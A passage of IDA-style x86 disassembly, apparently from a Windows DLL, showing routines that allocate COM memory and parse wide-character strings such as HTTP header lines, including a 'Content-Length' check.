arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_4], 0Eh
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jnz	short loc_69B7BE0D
		cmp	[ebp+arg_C], 1
		jb	loc_69B7BE7E
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+68h]
		call	sub_69B84C68
		pop	ecx
		lea	edi, [eax+eax+2]
		push	edi		; cb
		call	ds:CoTaskMemAlloc
		test	eax, eax
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jz	short loc_69B7BE70
		push	dword ptr [esi+68h]


loc_69B7BE01:				; CODE XREF: sub_69B7BDC2+7Dj
					; sub_69B7BDC2+BAj
		push	edi
		push	eax
		call	sub_69B7B48A
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_69B7BE85
; ---------------------------------------------------------------------------


loc_69B7BE0D:				; CODE XREF: sub_69B7BDC2+10j
		cmp	[ebp+arg_4], 5
		jnz	short loc_69B7BE41
		cmp	[ebp+arg_C], 1
		jb	short loc_69B7BE7E
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+84h], 0
		jz	short loc_69B7BE7E
		mov	edi, [esi+5Ch]
		lea	edi, [edi+edi+2]
		push	edi		; cb
		call	ds:CoTaskMemAlloc
		test	eax, eax
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jz	short loc_69B7BE70
		push	dword ptr [esi+58h]
		jmp	short loc_69B7BE01
; ---------------------------------------------------------------------------


loc_69B7BE41:				; CODE XREF: sub_69B7BDC2+4Fj
		cmp	[ebp+arg_4], 6
		jnz	short loc_69B7BE7E
		cmp	[ebp+arg_C], 1
		jb	short loc_69B7BE7E
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+84h], 0
		jz	short loc_69B7BE7E
		mov	edi, [esi+64h]
		lea	edi, [edi+edi+2]
		push	edi		; cb
		call	ds:CoTaskMemAlloc
		test	eax, eax
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jnz	short loc_69B7BE79


loc_69B7BE70:				; CODE XREF: sub_69B7BDC2+3Aj
					; sub_69B7BDC2+78j
		mov	[ebp+var_4], 8007000Eh
		jmp	short loc_69B7BE85
; ---------------------------------------------------------------------------


loc_69B7BE79:				; CODE XREF: sub_69B7BDC2+ACj
		push	dword ptr [esi+60h]
		jmp	short loc_69B7BE01
; ---------------------------------------------------------------------------


loc_69B7BE7E:				; CODE XREF: sub_69B7BDC2+16j
					; sub_69B7BDC2+55j ...
		mov	[ebp+var_4], 800C0012h


loc_69B7BE85:				; CODE XREF: sub_69B7BDC2+49j
					; sub_69B7BDC2+B5j
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_69B7BE8E
		mov	[eax], ebx


loc_69B7BE8E:				; CODE XREF: sub_69B7BDC2+C8j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_69B7BDC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7BE98	proc near		; DATA XREF: .text:69B2A5F8o

var_8		= dword	ptr -8
pv		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	edi, edi
		mov	[eax], edi
		mov	[ecx], edi
		mov	ecx, [ebp+arg_C]
		xor	ebx, ebx
		mov	[ecx], edi
		cmp	[esi+80h], bl
		mov	[ebp+var_8], edi
		mov	[ebp+pv], edi
		jz	short loc_69B7BF22
		mov	eax, [esi+58h]
		mov	edi, ds:CoTaskMemAlloc
		lea	eax, [eax+eax+2]
		push	eax		; cb
		mov	[ebp+arg_4], eax
		call	edi ; CoTaskMemAlloc
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B7BEFF
		push	dword ptr [esi+54h]
		push	[ebp+arg_4]
		push	ebx
		call	sub_69B7B48A
		mov	eax, [esi+60h]
		lea	eax, [eax+eax+2]
		push	eax		; cb
		mov	[ebp+arg_4], eax
		call	edi ; CoTaskMemAlloc
		mov	edi, eax
		test	edi, edi
		mov	[ebp+pv], edi
		jnz	short loc_69B7BF0A


loc_69B7BEFF:				; CODE XREF: sub_69B7BE98+43j
		mov	[ebp+var_8], 8007000Eh
		xor	edi, edi
		jmp	short loc_69B7BF31
; ---------------------------------------------------------------------------


loc_69B7BF0A:				; CODE XREF: sub_69B7BE98+65j
		push	dword ptr [esi+5Ch]
		push	[ebp+arg_4]
		push	edi
		call	sub_69B7B48A
		mov	eax, [ebp+arg_8]
		mov	[eax], ebx
		mov	eax, [ebp+arg_C]
		mov	[eax], edi
		jmp	short loc_69B7BF48
; ---------------------------------------------------------------------------


loc_69B7BF22:				; CODE XREF: sub_69B7BE98+2Aj
		push	eax
		add	esi, 4
		mov	ecx, [esi]
		push	offset dword_69B2AF90
		push	esi
		call	dword ptr [ecx+0Ch]


loc_69B7BF31:				; CODE XREF: sub_69B7BE98+70j
		cmp	ebx, edi
		mov	esi, ds:CoTaskMemFree
		jz	short loc_69B7BF3E
		push	ebx		; pv
		call	esi ; CoTaskMemFree


loc_69B7BF3E:				; CODE XREF: sub_69B7BE98+A1j
		cmp	[ebp+pv], edi
		jz	short loc_69B7BF48
		push	[ebp+pv]	; pv
		call	esi ; CoTaskMemFree


loc_69B7BF48:				; CODE XREF: sub_69B7BE98+88j
					; sub_69B7BE98+A9j
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B7BE98	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7BF52	proc near		; CODE XREF: sub_69B7C60C+47p
					; sub_69B7DE94+4Bp

arg_0		= byte ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		lea	eax, [esi+4]
		push	ebx
		mov	[eax], ebx
		push	eax
		mov	[esi], ebx
		call	sub_69B17320
		mov	al, [esp+8+arg_0]
		mov	[esi+15h], al
		mov	[esi+8], ebx
		mov	[esi+0Ch], ebx
		mov	[esi+10h], ebx
		mov	[esi+14h], bl
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B7BF52	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7BF80	proc near		; CODE XREF: sub_69B7C60C+224p
					; sub_69B7DBC3+5Cp
		push	esi
		mov	esi, ecx
		call	sub_69B7B40D
		add	esi, 4
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B7BF80	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7BF93	proc near		; CODE XREF: sub_69B7C181+12p
					; sub_69B7C1E2+9p

lpString	= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		push	ebx
		push	edi
		mov	edi, ecx
		xor	ebx, ebx
		cmp	[edi+14h], bl
		jz	loc_69B7C17C
		push	ebp
		push	dword ptr [edi]	; lpString
		call	ds:lstrlenW	; lstrlenW
		lea	eax, [eax+eax+2]
		push	eax
		call	sub_69B11E44
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+14h+var_4], ebp
		jz	loc_69B7C17B
		push	esi
		push	dword ptr [edi]
		push	ebp
		call	sub_69B84AF5
		lea	esi, [edi+4]
		cmp	[esi], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_69B7BFF0
		push	ebx
		push	1
		push	10h
		call	sub_69B1A768
		push	eax
		push	esi
		call	sub_69B17320
		cmp	[esi], ebx
		jz	loc_69B7C17A


loc_69B7BFF0:				; CODE XREF: sub_69B7BF93+42j
		cmp	[edi+15h], bl
		mov	esi, ebp
		jz	loc_69B7C165
		xor	eax, eax
		mov	ax, [ebp+0]
		jmp	short loc_69B7C00E
; ---------------------------------------------------------------------------


loc_69B7C003:				; CODE XREF: sub_69B7BF93+7Ej
		cmp	ax, 20h
		jnz	short loc_69B7C013
		inc	esi
		inc	esi
		mov	ax, [esi]


loc_69B7C00E:				; CODE XREF: sub_69B7BF93+6Ej
		cmp	ax, bx
		jnz	short loc_69B7C003


loc_69B7C013:				; CODE XREF: sub_69B7BF93+74j
		mov	ax, [esi]
		cmp	ax, bx
		jz	short loc_69B7C03D


loc_69B7C01B:				; CODE XREF: sub_69B7BF93+96j
		cmp	ax, 20h
		jz	short loc_69B7C035
		inc	esi
		inc	esi
		mov	ax, [esi]
		cmp	ax, bx
		jnz	short loc_69B7C01B
		jmp	short loc_69B7C035
; ---------------------------------------------------------------------------


loc_69B7C02D:				; CODE XREF: sub_69B7BF93+A8j
		cmp	ax, 20h
		jnz	short loc_69B7C03D
		inc	esi
		inc	esi


loc_69B7C035:				; CODE XREF: sub_69B7BF93+8Cj
					; sub_69B7BF93+98j
		mov	ax, [esi]
		cmp	ax, bx
		jnz	short loc_69B7C02D


loc_69B7C03D:				; CODE XREF: sub_69B7BF93+86j
					; sub_69B7BF93+9Ej
		mov	eax, esi
		jmp	short loc_69B7C049
; ---------------------------------------------------------------------------


loc_69B7C041:				; CODE XREF: sub_69B7BF93+B9j
		cmp	word ptr [esi],	20h
		jz	short loc_69B7C04E
		inc	esi
		inc	esi


loc_69B7C049:				; CODE XREF: sub_69B7BF93+ACj
		cmp	[esi], bx
		jnz	short loc_69B7C041


loc_69B7C04E:				; CODE XREF: sub_69B7BF93+B2j
		mov	[esi], bx
		inc	esi
		push	eax		; lpSrc
		inc	esi
		call	ds:StrToIntW	; StrToIntW
		mov	[edi+0Ch], eax
		jmp	short loc_69B7C067
; ---------------------------------------------------------------------------


loc_69B7C05F:				; CODE XREF: sub_69B7BF93+DAj
		cmp	ax, 20h
		jnz	short loc_69B7C06F
		inc	esi
		inc	esi


loc_69B7C067:				; CODE XREF: sub_69B7BF93+CAj
		mov	ax, [esi]
		cmp	ax, bx
		jnz	short loc_69B7C05F


loc_69B7C06F:				; CODE XREF: sub_69B7BF93+D0j
		mov	ebp, esi
		jmp	short loc_69B7C07B
; ---------------------------------------------------------------------------


loc_69B7C073:				; CODE XREF: sub_69B7BF93+EBj
		cmp	word ptr [esi],	0Dh
		jz	short loc_69B7C080
		inc	esi
		inc	esi


loc_69B7C07B:				; CODE XREF: sub_69B7BF93+DEj
		cmp	[esi], bx
		jnz	short loc_69B7C073


loc_69B7C080:				; CODE XREF: sub_69B7BF93+E4j
		mov	[esi], bx
		inc	esi
		push	ebp		; lpString
		inc	esi
		call	ds:lstrlenW	; lstrlenW
		lea	eax, [eax+eax+2]
		push	eax
		call	sub_69B11E44
		cmp	eax, ebx
		mov	[edi+10h], eax
		jz	loc_69B7C165
		push	ebp
		push	eax
		call	sub_69B84AF5
		pop	ecx
		pop	ecx
		jmp	loc_69B7C165
; ---------------------------------------------------------------------------


loc_69B7C0AF:				; CODE XREF: sub_69B7BF93+13Cj
					; sub_69B7BF93+1D5j
		mov	ax, [esi]
		cmp	ax, 20h
		jz	short loc_69B7C0CA
		cmp	ax, 9
		jz	short loc_69B7C0CA
		cmp	ax, 0Dh
		jz	short loc_69B7C0CA
		cmp	ax, 0Ah
		jnz	short loc_69B7C0D1


loc_69B7C0CA:				; CODE XREF: sub_69B7BF93+123j
					; sub_69B7BF93+129j ...
		inc	esi
		inc	esi
		cmp	[esi], bx
		jnz	short loc_69B7C0AF


loc_69B7C0D1:				; CODE XREF: sub_69B7BF93+135j
		mov	ecx, esi
		mov	[esp+18h+lpString], ebx
		jmp	short loc_69B7C0EA
; ---------------------------------------------------------------------------


loc_69B7C0D9:				; CODE XREF: sub_69B7BF93+15Aj
		mov	ax, [esi]
		cmp	ax, 0Dh
		jz	short loc_69B7C0F1
		cmp	ax, 3Ah
		jz	short loc_69B7C0F8
		inc	esi
		inc	esi


loc_69B7C0EA:				; CODE XREF: sub_69B7BF93+144j
		cmp	[esi], bx
		jnz	short loc_69B7C0D9
		jmp	short loc_69B7C116
; ---------------------------------------------------------------------------


loc_69B7C0F1:				; CODE XREF: sub_69B7BF93+14Dj
		mov	[esi], bx
		inc	esi
		inc	esi
		jmp	short loc_69B7C116
; ---------------------------------------------------------------------------


loc_69B7C0F8:				; CODE XREF: sub_69B7BF93+153j
		mov	[esi], bx
		inc	esi
		inc	esi
		mov	[esp+18h+lpString], esi
		jz	short loc_69B7C116
		jmp	short loc_69B7C10D
; ---------------------------------------------------------------------------


loc_69B7C105:				; CODE XREF: sub_69B7BF93+17Dj
		cmp	word ptr [esi],	20h
		jnz	short loc_69B7C112
		inc	esi
		inc	esi


loc_69B7C10D:				; CODE XREF: sub_69B7BF93+170j
		cmp	[esi], bx
		jnz	short loc_69B7C105


loc_69B7C112:				; CODE XREF: sub_69B7BF93+176j
		mov	[esp+18h+lpString], esi


loc_69B7C116:				; CODE XREF: sub_69B7BF93+15Cj
					; sub_69B7BF93+163j ...
		cmp	[esp+18h+lpString], ebx
		jz	short loc_69B7C165
		jmp	short loc_69B7C126
; ---------------------------------------------------------------------------


loc_69B7C11E:				; CODE XREF: sub_69B7BF93+196j
		cmp	word ptr [esi],	0Dh
		jz	short loc_69B7C12D
		inc	esi
		inc	esi


loc_69B7C126:				; CODE XREF: sub_69B7BF93+189j
		cmp	[esi], bx
		jnz	short loc_69B7C11E
		jmp	short loc_69B7C132
; ---------------------------------------------------------------------------


loc_69B7C12D:				; CODE XREF: sub_69B7BF93+18Fj
		mov	[esi], bx
		inc	esi
		inc	esi


loc_69B7C132:				; CODE XREF: sub_69B7BF93+198j
		push	ecx		; lpString
		call	sub_69B1A587
		push	[esp+18h+lpString] ; lpString
		mov	ebp, eax
		call	sub_69B1A587
		mov	ecx, ebp
		mov	[esp+18h+lpString], eax
		call	sub_69B2F202
		cmp	eax, ebx
		jz	short loc_69B7C17A
		cmp	[esp+18h+lpString], ebx
		jz	short loc_69B7C17A
		push	[esp+18h+lpString]
		mov	ecx, [edi+4]
		push	eax
		call	sub_69B18FB8


loc_69B7C165:				; CODE XREF: sub_69B7BF93+62j
					; sub_69B7BF93+108j ...
		cmp	[esi], bx
		jnz	loc_69B7C0AF
		push	[esp+18h+var_4]
		mov	[edi+14h], bl
		call	sub_69B1B2B7


loc_69B7C17A:				; CODE XREF: sub_69B7BF93+57j
					; sub_69B7BF93+1BDj ...
		pop	esi


loc_69B7C17B:				; CODE XREF: sub_69B7BF93+2Cj
		pop	ebp


loc_69B7C17C:				; CODE XREF: sub_69B7BF93+Bj
		pop	edi
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_69B7BF93	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B7C181(LPCWSTR lpString, int)

sub_69B7C181	proc near		; CODE XREF: sub_69B7C40C+42p
					; sub_69B7C89C+67p ...

lpString	= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		xor	ebx, ebx
		mov	esi, ecx
		mov	[edi], ebx
		cmp	[esi+14h], bl
		jz	short loc_69B7C198
		call	sub_69B7BF93


loc_69B7C198:				; CODE XREF: sub_69B7C181+10j
		cmp	[esp+0Ch+lpString], ebx
		jz	short loc_69B7C1D6
		cmp	[esi+4], ebx
		jz	short loc_69B7C1DA
		push	[esp+0Ch+lpString] ; lpString
		call	sub_69B1A587
		cmp	eax, ebx
		jz	short loc_69B7C1D6
		mov	ecx, eax
		call	sub_69B2F202
		cmp	eax, ebx
		jz	short loc_69B7C1D6
		mov	ecx, [esi+4]
		push	eax
		call	sub_69B1980A
		cmp	eax, ebx
		jz	short loc_69B7C1DA
		cmp	[eax+8], ebx
		jz	short loc_69B7C1DA
		mov	eax, [eax+0Ch]
		cmp	eax, ebx
		mov	[edi], eax
		jnz	short loc_69B7C1DA


loc_69B7C1D6:				; CODE XREF: sub_69B7C181+1Bj
					; sub_69B7C181+2Dj ...
		xor	al, al
		jmp	short loc_69B7C1DC
; ---------------------------------------------------------------------------


loc_69B7C1DA:				; CODE XREF: sub_69B7C181+20j
					; sub_69B7C181+45j ...
		mov	al, 1


loc_69B7C1DC:				; CODE XREF: sub_69B7C181+57j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B7C181	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B7C1E2(LPCWSTR lpString)

sub_69B7C1E2	proc near		; CODE XREF: sub_69B7C60C+89p
					; sub_69B7C60C+154p

lpString	= dword	ptr  4

		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+14h], 0
		jz	short loc_69B7C1F0
		call	sub_69B7BF93


loc_69B7C1F0:				; CODE XREF: sub_69B7C1E2+7j
		cmp	[esp+4+lpString], 0
		jz	short loc_69B7C20A
		cmp	dword ptr [esi+4], 0
		jz	short loc_69B7C20A
		push	[esp+4+lpString] ; lpString
		call	sub_69B1A587
		test	eax, eax
		jnz	short loc_69B7C20E


loc_69B7C20A:				; CODE XREF: sub_69B7C1E2+13j
					; sub_69B7C1E2+19j
		xor	al, al
		jmp	short loc_69B7C224
; ---------------------------------------------------------------------------


loc_69B7C20E:				; CODE XREF: sub_69B7C1E2+26j
		mov	ecx, eax
		call	sub_69B2F202
		mov	ecx, [esi+4]
		push	eax
		call	sub_69B1980A
		neg	eax
		sbb	eax, eax
		neg	eax


loc_69B7C224:				; CODE XREF: sub_69B7C1E2+2Aj
		pop	esi
		retn	4
sub_69B7C1E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7C228	proc near		; CODE XREF: sub_69B7DCB7+4p
		push	esi
		mov	esi, ecx
		call	sub_69B17355
		mov	ecx, esi
		call	sub_69B183BB
		cmp	eax, 1
		jnz	short loc_69B7C251
		mov	ecx, esi
		call	sub_69B7B4AF
		push	0
		lea	eax, [esi+0B4h]
		push	eax
		call	sub_69B17320


loc_69B7C251:				; CODE XREF: sub_69B7C228+12j
		mov	ecx, esi
		pop	esi
		jmp	sub_69B183BB
sub_69B7C228	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B7C259(LPCWSTR lpString, int, int)

sub_69B7C259	proc near		; CODE XREF: sub_69B7C36E+3Dp
					; sub_69B7D841+2Bp ...

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
lpString	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		mov	esi, ecx
		call	dword_69B92948
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_69B7C27C
		mov	eax, 80004005h
		jmp	loc_69B7C368
; ---------------------------------------------------------------------------


loc_69B7C27C:				; CODE XREF: sub_69B7C259+17j
		push	edi
		push	ebx
		push	eax
		lea	ecx, [ebp+var_14]
		call	sub_69B1A8C7
		cmp	[ebp+lpString],	ebx
		mov	[ebp+var_4], ebx
		jz	loc_69B7C34C
		cmp	[ebp+arg_4], ebx
		jz	loc_69B7C34C
		push	[ebp+lpString]	; lpString
		call	sub_69B1A587
		mov	ecx, eax
		call	sub_69B2F202
		mov	ecx, eax
		call	sub_69B2F43C
		push	offset aContentLength ;	"Content-Length"
		mov	ecx, eax
		mov	[ebp+lpString],	eax
		call	sub_69B2EF33
		test	al, al
		jnz	loc_69B7C353
		add	esi, 64h
		cmp	[esi], ebx
		jnz	short loc_69B7C2E1
		push	ebx
		push	1
		push	10h
		call	sub_69B1A768
		push	eax
		push	esi
		call	sub_69B17320


loc_69B7C2E1:				; CODE XREF: sub_69B7C259+75j
		push	[ebp+arg_4]	; lpString
		call	sub_69B1A587
		mov	ecx, eax
		call	sub_69B2F43C
		mov	ecx, [esi]
		mov	edi, eax
		cmp	[edi+8], ebx
		jnz	short loc_69B7C303
		push	[ebp+lpString]
		call	sub_69B17DC6
		jmp	short loc_69B7C353
; ---------------------------------------------------------------------------


loc_69B7C303:				; CODE XREF: sub_69B7C259+9Ej
		cmp	byte ptr [ebp+arg_8], bl
		jz	short loc_69B7C313
		push	edi


loc_69B7C309:				; CODE XREF: sub_69B7C259+E4j
		push	[ebp+lpString]
		call	sub_69B3182D
		jmp	short loc_69B7C353
; ---------------------------------------------------------------------------


loc_69B7C313:				; CODE XREF: sub_69B7C259+ADj
		push	[ebp+lpString]
		call	sub_69B1980A
		cmp	eax, ebx
		mov	[ebp+arg_8], eax
		jz	short loc_69B7C33F
		push	ebx
		push	edi
		push	offset asc_69B2A5AC ; ", "
		call	sub_69B1A587
		push	eax
		push	[ebp+arg_8]
		call	sub_69B2F2CA
		mov	ecx, [esi]
		add	esp, 10h
		push	eax
		jmp	short loc_69B7C309
; ---------------------------------------------------------------------------


loc_69B7C33F:				; CODE XREF: sub_69B7C259+C7j
		mov	ecx, [esi]
		push	edi
		push	[ebp+lpString]
		call	sub_69B18FB8
		jmp	short loc_69B7C353
; ---------------------------------------------------------------------------


loc_69B7C34C:				; CODE XREF: sub_69B7C259+34j
					; sub_69B7C259+3Dj
		mov	[ebp+var_4], 80070057h


loc_69B7C353:				; CODE XREF: sub_69B7C259+6Aj
					; sub_69B7C259+A8j ...
		lea	ecx, [ebp+var_14]
		call	sub_69B1976C
		push	[ebp+var_8]
		call	dword_69B92944
		mov	eax, [ebp+var_4]
		pop	edi


loc_69B7C368:				; CODE XREF: sub_69B7C259+1Ej
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B7C259	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7C36E	proc near		; DATA XREF: .text:69B145CCo
		push	10h
		push	offset dword_69B7C400
		call	sub_69B19C5C
		xor	esi, esi
		mov	[ebp-1Ch], esi
		cmp	[ebp+0Ch], esi
		jz	short loc_69B7C3DB
		push	dword ptr [ebp+0Ch]
		call	sub_69B84C68
		pop	ecx
		test	eax, eax
		jz	short loc_69B7C3DB
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+3Ch], 1
		jz	short loc_69B7C3A1
		mov	esi, 80004005h
		jmp	short loc_69B7C3E0
; ---------------------------------------------------------------------------


loc_69B7C3A1:				; CODE XREF: sub_69B7C36E+2Aj
		mov	[ebp-4], esi
		push	esi		; int
		push	dword ptr [ebp+10h] ; int
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B7C259
		mov	esi, eax
		mov	[ebp-20h], esi
		jmp	short loc_69B7C3D1
; ---------------------------------------------------------------------------


loc_69B7C3B7:				; DATA XREF: .text:69B7C404o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7C3C0:				; DATA XREF: .text:69B7C408o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax


loc_69B7C3D1:				; CODE XREF: sub_69B7C36E+47j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		test	esi, esi
		jge	short loc_69B7C3E3
		jmp	short loc_69B7C3E0
; ---------------------------------------------------------------------------


loc_69B7C3DB:				; CODE XREF: sub_69B7C36E+14j
					; sub_69B7C36E+21j
		mov	esi, 80070057h


loc_69B7C3E0:				; CODE XREF: sub_69B7C36E+31j
					; sub_69B7C36E+6Bj
		mov	[ebp-1Ch], esi


loc_69B7C3E3:				; CODE XREF: sub_69B7C36E+69j
		push	dword ptr [ebp-1Ch]
		push	esi
		mov	ecx, [ebp+8]
		call	sub_69B7B3C8
		mov	eax, esi
		call	sub_69B1853C
		retn	0Ch
sub_69B7C36E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B7C400	dd 0FFFFFFFFh			dd offset loc_69B7C3B7
		dd offset loc_69B7C3C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B7C40C(int, LPCWSTR lpString, int)

sub_69B7C40C	proc near		; DATA XREF: .text:69B145D0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
lpString	= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+lpString],	edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], edi
		jz	short loc_69B7C485
		mov	esi, [ebp+arg_8]
		cmp	esi, edi
		jz	short loc_69B7C485
		push	[ebp+lpString]
		call	sub_69B84C68
		test	eax, eax
		pop	ecx
		jz	short loc_69B7C485
		cmp	dword ptr [ebx+3Ch], 5
		jl	short loc_69B7C457
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	[ebp+lpString]	; lpString
		lea	ecx, [ebx+68h]
		mov	[esi], edi
		call	sub_69B7C181
		test	al, al
		jnz	short loc_69B7C45E


loc_69B7C457:				; CODE XREF: sub_69B7C40C+34j
		mov	esi, 80004005h
		jmp	short loc_69B7C48A
; ---------------------------------------------------------------------------


loc_69B7C45E:				; CODE XREF: sub_69B7C40C+49j
		mov	eax, [ebp+var_4]
		cmp	eax, edi
		jz	short loc_69B7C46D
		cmp	[eax], di
		jz	short loc_69B7C46D
		push	eax
		jmp	short loc_69B7C472
; ---------------------------------------------------------------------------


loc_69B7C46D:				; CODE XREF: sub_69B7C40C+57j
					; sub_69B7C40C+5Cj
		push	offset word_69B26224 ; OLECHAR *


loc_69B7C472:				; CODE XREF: sub_69B7C40C+5Fj
		call	SysAllocString
		cmp	eax, edi
		mov	[esi], eax
		jnz	short loc_69B7C48F
		mov	esi, 8007000Eh
		jmp	short loc_69B7C48A
; ---------------------------------------------------------------------------


loc_69B7C485:				; CODE XREF: sub_69B7C40C+1Aj
					; sub_69B7C40C+21j ...
		mov	esi, 80070057h


loc_69B7C48A:				; CODE XREF: sub_69B7C40C+50j
					; sub_69B7C40C+77j
		mov	[ebp+var_8], esi
		jmp	short loc_69B7C492
; ---------------------------------------------------------------------------


loc_69B7C48F:				; CODE XREF: sub_69B7C40C+70j
		mov	esi, [ebp+var_C]


loc_69B7C492:				; CODE XREF: sub_69B7C40C+81j
		push	[ebp+var_8]
		mov	ecx, ebx
		push	esi
		call	sub_69B7B3C8
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B7C40C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7C4A6	proc near		; CODE XREF: sub_69B7D68D+169p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, ecx
		push	esi
		xor	ecx, ecx
		lea	esi, [ebx+0BCh]
		cmp	[esi], ecx
		push	edi
		mov	[ebp+var_4], ecx
		mov	[ebp+var_8], ecx
		jz	short loc_69B7C4E6
		lea	edi, [ebx+0C0h]
		mov	eax, [edi]
		cmp	eax, ecx
		jz	short loc_69B7C4D4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7C4D4:				; CODE XREF: sub_69B7C4A6+26j
		mov	eax, [esi]
		and	dword ptr [edi], 0
		test	eax, eax
		jz	short loc_69B7C4E3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7C4E3:				; CODE XREF: sub_69B7C4A6+35j
		and	dword ptr [esi], 0


loc_69B7C4E6:				; CODE XREF: sub_69B7C4A6+1Aj
		push	esi
		push	offset stru_69B25E34
		call	sub_69B3D099
		mov	edi, eax
		test	edi, edi
		jl	loc_69B7C5C3
		mov	dl, [ebx+0B2h]
		mov	eax, [esi]
		mov	ecx, [eax]
		neg	dl
		sbb	edx, edx
		push	edx
		push	eax
		call	dword ptr [ecx+0FCh]
		mov	edi, eax
		test	edi, edi
		jl	loc_69B7C5C3
		mov	eax, [esi]
		mov	ecx, [eax]
		push	0
		push	eax
		call	dword ptr [ecx+110h]
		mov	edi, eax
		test	edi, edi
		jl	loc_69B7C5C3
		mov	eax, [esi]
		mov	ecx, [eax]
		push	0
		push	eax
		call	dword ptr [ecx+118h]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7C5C3
		mov	eax, [esi]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B0C0
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7C5C3
		mov	ecx, [ebx+10h]
		test	ecx, ecx
		jz	short loc_69B7C569
		call	sub_69B88114
		jmp	short loc_69B7C56B
; ---------------------------------------------------------------------------


loc_69B7C569:				; CODE XREF: sub_69B7C4A6+BAj
		xor	eax, eax


loc_69B7C56B:				; CODE XREF: sub_69B7C4A6+C1j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+0Ch]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7C5C3
		mov	eax, [esi]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_69B2B110
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7C5C3
		mov	eax, [ebx+1Ch]
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		push	eax
		push	eax
		push	offset stru_69B1CA6C
		push	ecx
		call	dword ptr [edx+10h]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7C5C3
		mov	eax, [esi]
		mov	ecx, [eax]
		lea	edx, [ebx+0C0h]
		push	edx
		push	offset stru_69B25E84
		push	eax
